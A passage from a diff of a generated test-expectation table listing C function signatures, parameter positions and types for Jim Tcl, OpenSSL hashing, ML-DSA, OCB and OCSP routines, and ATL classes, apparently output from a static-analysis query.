const char * | +| (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 1 | const char * | +| (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 2 | int | +| (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 1 | const char * | +| (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 2 | int | +| (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 1 | const char * | +| (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 2 | int | +| (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 1 | const char * | +| (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 2 | int | +| (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 1 | const char * | +| (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 2 | int | +| (Jim_Interp *,const char *,int,const char *) | | Jim_EvalSource | 0 | Jim_Interp * | +| (Jim_Interp *,const char *,int,const char *) | | Jim_EvalSource | 1 | const char * | +| (Jim_Interp *,const char *,int,const char *) | | Jim_EvalSource | 2 | int | +| (Jim_Interp *,const char *,int,const char *) | | Jim_EvalSource | 3 | const char * | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_CallSubCmd | 0 | Jim_Interp * | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_CallSubCmd | 1 | const jim_subcmd_type * | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_CallSubCmd | 2 | int | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_CallSubCmd | 3 | Jim_Obj *const * | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_ParseSubCmd | 0 | Jim_Interp * | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_ParseSubCmd | 1 | const jim_subcmd_type * | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_ParseSubCmd | 2 | int | +| (Jim_Interp *,const jim_subcmd_type *,int,Jim_Obj *const *) | | Jim_ParseSubCmd | 3 | Jim_Obj *const * | +| (Jim_Interp *,double) | | Jim_NewDoubleObj | 0 | Jim_Interp * | +| (Jim_Interp *,double) | | Jim_NewDoubleObj | 1 | double | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_ConcatObj | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_ConcatObj | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_ConcatObj | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_DictMerge | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_DictMerge | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_DictMerge | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_EvalObjVector | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_EvalObjVector | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_EvalObjVector | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_ReaddirCmd | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_ReaddirCmd | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_ReaddirCmd | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_RegexpCmd | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_RegexpCmd | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_RegexpCmd | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_RegsubCmd | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_RegsubCmd | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_RegsubCmd | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_SubCmdProc | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_SubCmdProc | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *) | | Jim_SubCmdProc | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *,const char *) | | Jim_WrongNumArgs | 0 | Jim_Interp * | +| (Jim_Interp *,int,Jim_Obj *const *,const char *) | | Jim_WrongNumArgs | 1 | int | +| (Jim_Interp *,int,Jim_Obj *const *,const char *) | | Jim_WrongNumArgs | 2 | Jim_Obj *const * | +| (Jim_Interp *,int,Jim_Obj *const *,const char *) | | Jim_WrongNumArgs | 3 | const char * | +| (Jim_Interp *,long) | | Jim_NewIntObj | 0 | Jim_Interp * | +| (Jim_Interp *,long) | | Jim_NewIntObj | 1 | long | +| (Jim_Obj *) | | Jim_Length | 0 | Jim_Obj * | +| (Jim_Obj *) | | Jim_String | 0 | Jim_Obj * | +| (Jim_Obj *,int *) | | Jim_GetString | 0 | Jim_Obj * | +| (Jim_Obj *,int *) | | Jim_GetString | 1 | int * | +| (Jim_Stack *) | | Jim_StackLen | 0 | Jim_Stack * | +| (Jim_Stack *) | | Jim_StackPeek | 0 | Jim_Stack * | +| (Jim_Stack *) | | Jim_StackPop | 0 | Jim_Stack * | +| (Jim_Stack *,void *) | | Jim_StackPush | 0 | Jim_Stack * | +| (Jim_Stack *,void *) | | Jim_StackPush | 1 | void * | +| (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 0 | KECCAK1600_CTX * | +| (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 1 | const void * | +| (KECCAK1600_CTX *,const void *,size_t) | | ossl_sha3_update | 2 | size_t | +| (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 0 | KECCAK1600_CTX * | +| (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 1 | unsigned char * | +| (KECCAK1600_CTX *,unsigned char *,size_t) | | ossl_sha3_squeeze | 2 | size_t | +| (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 0 | KECCAK1600_CTX * | +| (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 1 | unsigned char | +| (KECCAK1600_CTX *,unsigned char,size_t) | | ossl_sha3_init | 2 | size_t | +| (KECCAK1600_CTX *,unsigned char,size_t,size_t) | | ossl_keccak_init | 0 | KECCAK1600_CTX * | +| (KECCAK1600_CTX *,unsigned char,size_t,size_t) | | ossl_keccak_init | 1 | unsigned char | +| (KECCAK1600_CTX *,unsigned char,size_t,size_t) | | ossl_keccak_init | 2 | size_t | +| (KECCAK1600_CTX *,unsigned char,size_t,size_t) | | ossl_keccak_init | 3 | size_t | | (LPCOLESTR) | CComBSTR | Append | 0 | LPCOLESTR | | (LPCOLESTR) | CComBSTR | CComBSTR | 0 | LPCOLESTR | | (LPCOLESTR,int) | CComBSTR | Append | 0 | LPCOLESTR | @@ -685,6 +15988,2120 @@ getSignatureParameterName | (LPTSTR,LPCTSTR,DWORD *) | CRegKey | QueryValue | 0 | LPTSTR | | (LPTSTR,LPCTSTR,DWORD *) | CRegKey | QueryValue | 1 | LPCTSTR | | (LPTSTR,LPCTSTR,DWORD *) | CRegKey | QueryValue | 2 | DWORD * | +| (MD4_CTX *,const unsigned char *) | | MD4_Transform | 0 | MD4_CTX * | +| (MD4_CTX *,const unsigned char *) | | MD4_Transform | 1 | const unsigned char * | +| (MD4_CTX *,const void *,size_t) | | MD4_Update | 0 | MD4_CTX * | +| (MD4_CTX *,const void *,size_t) | | MD4_Update | 1 | const void * | +| (MD4_CTX *,const void *,size_t) | | MD4_Update | 2 | size_t | +| (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 0 | MD4_CTX * | +| (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 1 | const void * | +| (MD4_CTX *,const void *,size_t) | | md4_block_data_order | 2 | size_t | +| (MD5_CTX *,const void *,size_t) | | MD5_Update | 0 | MD5_CTX * | +| (MD5_CTX *,const void *,size_t) | | MD5_Update | 1 | const void * | +| (MD5_CTX *,const void *,size_t) | | MD5_Update | 2 | size_t | +| (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 0 | MD5_SHA1_CTX * | +| (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 1 | const void * | +| (MD5_SHA1_CTX *,const void *,size_t) | | ossl_md5_sha1_update | 2 | size_t | +| (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 0 | MD5_SHA1_CTX * | +| (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 1 | int | +| (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 2 | int | +| (MD5_SHA1_CTX *,int,int,void *) | | ossl_md5_sha1_ctrl | 3 | void * | +| (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 0 | MDC2_CTX * | +| (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 1 | const unsigned char * | +| (MDC2_CTX *,const unsigned char *,size_t) | | MDC2_Update | 2 | size_t | +| (ML_DSA_KEY *) | | ossl_ml_dsa_key_pub_alloc | 0 | ML_DSA_KEY * | +| (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 0 | ML_DSA_KEY * | +| (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 1 | const uint8_t * | +| (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_pk_decode | 2 | size_t | +| (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 0 | ML_DSA_KEY * | +| (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 1 | const uint8_t * | +| (ML_DSA_KEY *,const uint8_t *,size_t) | | ossl_ml_dsa_sk_decode | 2 | size_t | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 0 | ML_DSA_KEY * | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 1 | int | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 2 | int | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 3 | const uint8_t * | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 4 | size_t | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 5 | const uint8_t * | +| (ML_DSA_KEY *,int,int,const uint8_t *,size_t,const uint8_t *,size_t) | | ossl_ml_dsa_set_prekey | 6 | size_t | +| (ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *) | | ossl_ml_dsa_sig_decode | 0 | ML_DSA_SIG * | +| (ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *) | | ossl_ml_dsa_sig_decode | 1 | const uint8_t * | +| (ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *) | | ossl_ml_dsa_sig_decode | 2 | size_t | +| (ML_DSA_SIG *,const uint8_t *,size_t,const ML_DSA_PARAMS *) | | ossl_ml_dsa_sig_decode | 3 | const ML_DSA_PARAMS * | +| (NAME_CONSTRAINTS *) | | NAME_CONSTRAINTS_free | 0 | NAME_CONSTRAINTS * | +| (NAMING_AUTHORITY *) | | NAMING_AUTHORITY_free | 0 | NAMING_AUTHORITY * | +| (NAMING_AUTHORITY **,const unsigned char **,long) | | d2i_NAMING_AUTHORITY | 0 | NAMING_AUTHORITY ** | +| (NAMING_AUTHORITY **,const unsigned char **,long) | | d2i_NAMING_AUTHORITY | 1 | const unsigned char ** | +| (NAMING_AUTHORITY **,const unsigned char **,long) | | d2i_NAMING_AUTHORITY | 2 | long | +| (NAMING_AUTHORITY *,ASN1_IA5STRING *) | | NAMING_AUTHORITY_set0_authorityURL | 0 | NAMING_AUTHORITY * | +| (NAMING_AUTHORITY *,ASN1_IA5STRING *) | | NAMING_AUTHORITY_set0_authorityURL | 1 | ASN1_IA5STRING * | +| (NAMING_AUTHORITY *,ASN1_OBJECT *) | | NAMING_AUTHORITY_set0_authorityId | 0 | NAMING_AUTHORITY * | +| (NAMING_AUTHORITY *,ASN1_OBJECT *) | | NAMING_AUTHORITY_set0_authorityId | 1 | ASN1_OBJECT * | +| (NAMING_AUTHORITY *,ASN1_STRING *) | | NAMING_AUTHORITY_set0_authorityText | 0 | NAMING_AUTHORITY * | +| (NAMING_AUTHORITY *,ASN1_STRING *) | | NAMING_AUTHORITY_set0_authorityText | 1 | ASN1_STRING * | +| (NETSCAPE_CERT_SEQUENCE *) | | NETSCAPE_CERT_SEQUENCE_free | 0 | NETSCAPE_CERT_SEQUENCE * | +| (NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long) | | d2i_NETSCAPE_CERT_SEQUENCE | 0 | NETSCAPE_CERT_SEQUENCE ** | +| (NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long) | | d2i_NETSCAPE_CERT_SEQUENCE | 1 | const unsigned char ** | +| (NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long) | | d2i_NETSCAPE_CERT_SEQUENCE | 2 | long | +| (NETSCAPE_ENCRYPTED_PKEY *) | | NETSCAPE_ENCRYPTED_PKEY_free | 0 | NETSCAPE_ENCRYPTED_PKEY * | +| (NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long) | | d2i_NETSCAPE_ENCRYPTED_PKEY | 0 | NETSCAPE_ENCRYPTED_PKEY ** | +| (NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long) | | d2i_NETSCAPE_ENCRYPTED_PKEY | 1 | const unsigned char ** | +| (NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long) | | d2i_NETSCAPE_ENCRYPTED_PKEY | 2 | long | +| (NETSCAPE_PKEY *) | | NETSCAPE_PKEY_free | 0 | NETSCAPE_PKEY * | +| (NETSCAPE_PKEY **,const unsigned char **,long) | | d2i_NETSCAPE_PKEY | 0 | NETSCAPE_PKEY ** | +| (NETSCAPE_PKEY **,const unsigned char **,long) | | d2i_NETSCAPE_PKEY | 1 | const unsigned char ** | +| (NETSCAPE_PKEY **,const unsigned char **,long) | | d2i_NETSCAPE_PKEY | 2 | long | +| (NETSCAPE_SPKAC *) | | NETSCAPE_SPKAC_free | 0 | NETSCAPE_SPKAC * | +| (NETSCAPE_SPKAC **,const unsigned char **,long) | | d2i_NETSCAPE_SPKAC | 0 | NETSCAPE_SPKAC ** | +| (NETSCAPE_SPKAC **,const unsigned char **,long) | | d2i_NETSCAPE_SPKAC | 1 | const unsigned char ** | +| (NETSCAPE_SPKAC **,const unsigned char **,long) | | d2i_NETSCAPE_SPKAC | 2 | long | +| (NETSCAPE_SPKI *) | | NETSCAPE_SPKI_b64_encode | 0 | NETSCAPE_SPKI * | +| (NETSCAPE_SPKI *) | | NETSCAPE_SPKI_free | 0 | NETSCAPE_SPKI * | +| (NETSCAPE_SPKI **,const unsigned char **,long) | | d2i_NETSCAPE_SPKI | 0 | NETSCAPE_SPKI ** | +| (NETSCAPE_SPKI **,const unsigned char **,long) | | d2i_NETSCAPE_SPKI | 1 | const unsigned char ** | +| (NETSCAPE_SPKI **,const unsigned char **,long) | | d2i_NETSCAPE_SPKI | 2 | long | +| (NETSCAPE_SPKI *,EVP_PKEY *,const EVP_MD *) | | NETSCAPE_SPKI_sign | 0 | NETSCAPE_SPKI * | +| (NETSCAPE_SPKI *,EVP_PKEY *,const EVP_MD *) | | NETSCAPE_SPKI_sign | 1 | EVP_PKEY * | +| (NETSCAPE_SPKI *,EVP_PKEY *,const EVP_MD *) | | NETSCAPE_SPKI_sign | 2 | const EVP_MD * | +| (NISTZ256_PRE_COMP *) | | EC_nistz256_pre_comp_dup | 0 | NISTZ256_PRE_COMP * | +| (NOTICEREF *) | | NOTICEREF_free | 0 | NOTICEREF * | +| (NOTICEREF **,const unsigned char **,long) | | d2i_NOTICEREF | 0 | NOTICEREF ** | +| (NOTICEREF **,const unsigned char **,long) | | d2i_NOTICEREF | 1 | const unsigned char ** | +| (NOTICEREF **,const unsigned char **,long) | | d2i_NOTICEREF | 2 | long | +| (OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *) | | CRYPTO_ocb128_copy_ctx | 0 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *) | | CRYPTO_ocb128_copy_ctx | 1 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *) | | CRYPTO_ocb128_copy_ctx | 2 | void * | +| (OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *) | | CRYPTO_ocb128_copy_ctx | 3 | void * | +| (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 0 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 1 | const unsigned char * | +| (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 2 | size_t | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_decrypt | 0 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_decrypt | 1 | const unsigned char * | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_decrypt | 2 | unsigned char * | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_decrypt | 3 | size_t | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_encrypt | 0 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_encrypt | 1 | const unsigned char * | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_encrypt | 2 | unsigned char * | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_encrypt | 3 | size_t | +| (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 0 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 1 | unsigned char * | +| (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 2 | size_t | +| (OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_init | 0 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_init | 1 | void * | +| (OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_init | 2 | void * | +| (OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_init | 3 | block128_f | +| (OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_init | 4 | block128_f | +| (OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_init | 5 | ocb128_f | +| (OCSP_BASICRESP *) | | OCSP_BASICRESP_free | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP **,const unsigned char **,long) | | d2i_OCSP_BASICRESP | 0 | OCSP_BASICRESP ** | +| (OCSP_BASICRESP **,const unsigned char **,long) | | d2i_OCSP_BASICRESP | 1 | const unsigned char ** | +| (OCSP_BASICRESP **,const unsigned char **,long) | | d2i_OCSP_BASICRESP | 2 | long | +| (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 1 | OCSP_CERTID * | +| (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 2 | int | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 1 | OCSP_CERTID * | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 2 | int | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 3 | int | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 4 | ASN1_TIME * | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 5 | ASN1_TIME * | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 6 | ASN1_TIME * | +| (OCSP_BASICRESP *,OCSP_REQUEST *) | | OCSP_copy_nonce | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,OCSP_REQUEST *) | | OCSP_copy_nonce | 1 | OCSP_REQUEST * | +| (OCSP_BASICRESP *,X509 *) | | OCSP_basic_add1_cert | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,X509 *) | | OCSP_basic_add1_cert | 1 | X509 * | +| (OCSP_BASICRESP *,X509 **,stack_st_X509 *) | | OCSP_resp_get0_signer | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,X509 **,stack_st_X509 *) | | OCSP_resp_get0_signer | 1 | X509 ** | +| (OCSP_BASICRESP *,X509 **,stack_st_X509 *) | | OCSP_resp_get0_signer | 2 | stack_st_X509 * | +| (OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign_ctx | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign_ctx | 1 | X509 * | +| (OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign_ctx | 2 | EVP_MD_CTX * | +| (OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign_ctx | 3 | stack_st_X509 * | +| (OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign_ctx | 4 | unsigned long | +| (OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign | 1 | X509 * | +| (OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign | 2 | EVP_PKEY * | +| (OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign | 3 | const EVP_MD * | +| (OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign | 4 | stack_st_X509 * | +| (OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign | 5 | unsigned long | +| (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 1 | X509_EXTENSION * | +| (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 2 | int | +| (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 2 | int | +| (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | int | +| (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | int | +| (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | int | +| (OCSP_BASICRESP *,int,int *,int *) | | OCSP_BASICRESP_get1_ext_d2i | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int,int *,int *) | | OCSP_BASICRESP_get1_ext_d2i | 1 | int | +| (OCSP_BASICRESP *,int,int *,int *) | | OCSP_BASICRESP_get1_ext_d2i | 2 | int * | +| (OCSP_BASICRESP *,int,int *,int *) | | OCSP_BASICRESP_get1_ext_d2i | 3 | int * | +| (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 1 | int | +| (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 2 | int | +| (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 1 | int | +| (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 2 | int | +| (OCSP_BASICRESP *,int,void *,int,unsigned long) | | OCSP_BASICRESP_add1_ext_i2d | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int,void *,int,unsigned long) | | OCSP_BASICRESP_add1_ext_i2d | 1 | int | +| (OCSP_BASICRESP *,int,void *,int,unsigned long) | | OCSP_BASICRESP_add1_ext_i2d | 2 | void * | +| (OCSP_BASICRESP *,int,void *,int,unsigned long) | | OCSP_BASICRESP_add1_ext_i2d | 3 | int | +| (OCSP_BASICRESP *,int,void *,int,unsigned long) | | OCSP_BASICRESP_add1_ext_i2d | 4 | unsigned long | +| (OCSP_CERTID *) | | OCSP_CERTID_free | 0 | OCSP_CERTID * | +| (OCSP_CERTID **,const unsigned char **,long) | | d2i_OCSP_CERTID | 0 | OCSP_CERTID ** | +| (OCSP_CERTID **,const unsigned char **,long) | | d2i_OCSP_CERTID | 1 | const unsigned char ** | +| (OCSP_CERTID **,const unsigned char **,long) | | d2i_OCSP_CERTID | 2 | long | +| (OCSP_CERTSTATUS *) | | OCSP_CERTSTATUS_free | 0 | OCSP_CERTSTATUS * | +| (OCSP_CERTSTATUS **,const unsigned char **,long) | | d2i_OCSP_CERTSTATUS | 0 | OCSP_CERTSTATUS ** | +| (OCSP_CERTSTATUS **,const unsigned char **,long) | | d2i_OCSP_CERTSTATUS | 1 | const unsigned char ** | +| (OCSP_CERTSTATUS **,const unsigned char **,long) | | d2i_OCSP_CERTSTATUS | 2 | long | +| (OCSP_CRLID *) | | OCSP_CRLID_free | 0 | OCSP_CRLID * | +| (OCSP_CRLID **,const unsigned char **,long) | | d2i_OCSP_CRLID | 0 | OCSP_CRLID ** | +| (OCSP_CRLID **,const unsigned char **,long) | | d2i_OCSP_CRLID | 1 | const unsigned char ** | +| (OCSP_CRLID **,const unsigned char **,long) | | d2i_OCSP_CRLID | 2 | long | +| (OCSP_ONEREQ *) | | OCSP_ONEREQ_free | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *) | | OCSP_ONEREQ_get_ext_count | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *) | | OCSP_onereq_get0_id | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ **,const unsigned char **,long) | | d2i_OCSP_ONEREQ | 0 | OCSP_ONEREQ ** | +| (OCSP_ONEREQ **,const unsigned char **,long) | | d2i_OCSP_ONEREQ | 1 | const unsigned char ** | +| (OCSP_ONEREQ **,const unsigned char **,long) | | d2i_OCSP_ONEREQ | 2 | long | +| (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext 